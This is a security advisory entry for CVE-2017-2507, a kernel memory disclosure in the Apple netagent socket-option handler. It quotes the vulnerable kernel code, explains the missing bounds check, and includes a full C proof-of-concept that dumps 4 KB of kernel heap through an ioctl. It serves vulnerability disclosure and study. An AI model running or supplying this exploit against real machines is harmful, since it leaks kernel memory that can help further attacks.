Apple iOS / MacOS Netagent Kernel Memory Disclosure(CVE-2017-2507)

2017-05-27T00:00:00
ID SSV:93155
Type seebug
Reporter Root
Modified 2017-05-27T00:00:00

Description

iOS/MacOS kernel memory disclosure due to lack of bounds checking in netagent socket option handling

netagent_ctl_setopt is the setsockopt handler for netagent control sockets. Options of type NETAGENT_OPTION_TYPE_REGISTER are handled by netagent_handle_register_setopt. Here's the code: ``` static errno_t netagent_handle_register_setopt(struct netagent_session session, u_int8_t payload, u_int32_t payload_length) { int data_size = 0; struct netagent_wrapper new_wrapper = NULL; u_int32_t response_error = 0; struct netagent register_netagent = (struct netagent )(void )payload; <----------- (a)

    if (session == NULL) {
        NETAGENTLOG0(LOG_ERR, "Failed to find session");
        response_error = EINVAL;
        goto done;
    }

    if (payload == NULL) {
        NETAGENTLOG0(LOG_ERR, "No payload received");
        response_error = EINVAL;
        goto done;
    }

    if (session-&gt;wrapper != NULL) {
        NETAGENTLOG0(LOG_ERR, "Session already has a registered agent");
        response_error = EINVAL;
        goto done;
    }

    if (payload_length &lt; sizeof(struct netagent)) {                              &lt;----------- (b)
        NETAGENTLOG(LOG_ERR, "Register message size too small for agent: (%d &lt; %d)",
                    payload_length, sizeof(struct netagent));
        response_error = EINVAL;
        goto done;
    }

    data_size = register_netagent-&gt;netagent_data_size;
    if (data_size &lt; 0 || data_size &gt; NETAGENT_MAX_DATA_SIZE) {                      &lt;----------- (c)
        NETAGENTLOG(LOG_ERR, "Register message size could not be read, data_size %d",
                    data_size);
        response_error = EINVAL;
        goto done;
    }

    MALLOC(new_wrapper, struct netagent_wrapper *, sizeof(*new_wrapper) + data_size, M_NETAGENT, M_WAITOK);
    if (new_wrapper == NULL) {
        NETAGENTLOG0(LOG_ERR, "Failed to allocate agent");
        response_error = ENOMEM;
        goto done;
    }

    memset(new_wrapper, 0, sizeof(*new_wrapper) + data_size);
    memcpy(&new_wrapper-&gt;netagent, register_netagent, sizeof(struct netagent) + data_size);   &lt;------------ (d)

    response_error = netagent_handle_register_inner(session, new_wrapper);
    if (response_error != 0) {
        FREE(new_wrapper, M_NETAGENT);
        goto done;
    }

    NETAGENTLOG0(LOG_DEBUG, "Registered new agent");
    netagent_post_event(new_wrapper-&gt;netagent.netagent_uuid, KEV_NETAGENT_REGISTERED, TRUE);

done:
    return response_error;
}

```

The payload and payload_length arguments are the socket option buffer which has be copied in to the kernel.

At (a) this is cast to a struct netagent and at (b) it's checked whether the payload is big enough to contain this structure. Then at (c) an int read from the buffer is compared against a lower and upper bound and then used at (d) as the size of data to copy from inside the payload buffer. It's not checked that the payload buffer is actually big enough to contain data_size bytes of data though.

This oob data can then be retreived by userspace via the SIOCGIFAGENTDATA64 ioctl. This poc will dump 4k of kernel heap.

Tested on MacOS 10.12.3 (16D32) on MacBookPro10,1 ```

include <errno.h>

include <unistd.h>

include <netinet/in.h>

include <sys/socket.h>

include <sys/kern_control.h>

include <sys/sys_domain.h>

include <net/if.h>

include <netinet/in_var.h>

include <netinet6/nd6.h>

include <arpa/inet.h>

include <sys/ioctl.h>

include <stdio.h>

include <stdlib.h>

include <string.h>

int ctl_open(char* control_name) { int sock; int error = 0; struct ctl_info kernctl_info; struct sockaddr_ctl kernctl_addr;

sock = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL); if (sock < 0) { printf("failed to open a SYSPROTO_CONTROL socket: %s\n", strerror(errno)); goto done; }

memset(&kernctl_info, 0, sizeof(kernctl_info)); strlcpy(kernctl_info.ctl_name, control_name, sizeof(kernctl_info.ctl_name));

error = ioctl(sock, CTLIOCGINFO, &kernctl_info); if (error) { printf("Failed to get the control info for control named \"%s\": %s\n", control_name, strerror(errno)); goto done; }

memset(&kernctl_addr, 0, sizeof(kernctl_addr)); kernctl_addr.sc_len = sizeof(kernctl_addr); kernctl_addr.sc_family = AF_SYSTEM; kernctl_addr.ss_sysaddr = AF_SYS_CONTROL; kernctl_addr.sc_id = kernctl_info.ctl_id; kernctl_addr.sc_unit = 0;

error = connect(sock, (struct sockaddr *)&kernctl_addr, sizeof(kernctl_addr)); if (error) { printf("Failed to connect to the control socket: %s\n", strerror(errno)); goto done; }

done: if (error && sock >= 0) { close(sock); sock = -1; }

return sock; }

define NETAGENT_OPTION_TYPE_REGISTER 1

define NETAGENT_DOMAINSIZE 32

define NETAGENT_TYPESIZE 32

define NETAGENT_DESCSIZE 128

struct netagent_req64 { uuid_t netagent_uuid; char netagent_domain[NETAGENT_DOMAINSIZE]; char netagent_type[NETAGENT_TYPESIZE]; char netagent_desc[NETAGENT_DESCSIZE]; u_int32_t netagent_flags; u_int32_t netagent_data_size; uint64_t netagent_data attribute((aligned(8))); };

struct netagent { uuid_t netagent_uuid; char netagent_domain[NETAGENT_DOMAINSIZE]; char netagent_type[NETAGENT_TYPESIZE]; char netagent_desc[NETAGENT_DESCSIZE]; u_int32_t netagent_flags; u_int32_t netagent_data_size; u_int8_t netagent_data[0]; };

define SIOCGIFAGENTDATA64 _IOWR('i', 168, struct netagent_req64)

int main(){ int fd = ctl_open("com.apple.net.netagent"); if (fd < 0) { printf("failed to get control socket :(\n"); return 1; } printf("got a control socket! %d\n", fd);

struct netagent na = {0}; na.netagent_uuid[0] = 123; na.netagent_data_size = 4096;

int err = setsockopt(fd, SYSPROTO_CONTROL, NETAGENT_OPTION_TYPE_REGISTER, &na, sizeof(na)); if (err == -1) { perror("setsockopt failed"); return 0; } else { printf("set the option!\n"); }

uint64_t* buf = malloc(4096); memset(buf, 0, 4096);

struct netagent_req64 req = {0}; req.netagent_uuid[0] = 123; req.netagent_data_size = 4096; req.netagent_data = (uint64_t)buf;

err = ioctl(fd, SIOCGIFAGENTDATA64, &req); if (err == -1) { perror("get getinterface agent data failed"); }else { printf("got something?\n"); for (int i = 0; i < 4096/8; i++) { printf("%016llx\n", buf[i]); } }

return 0; } ```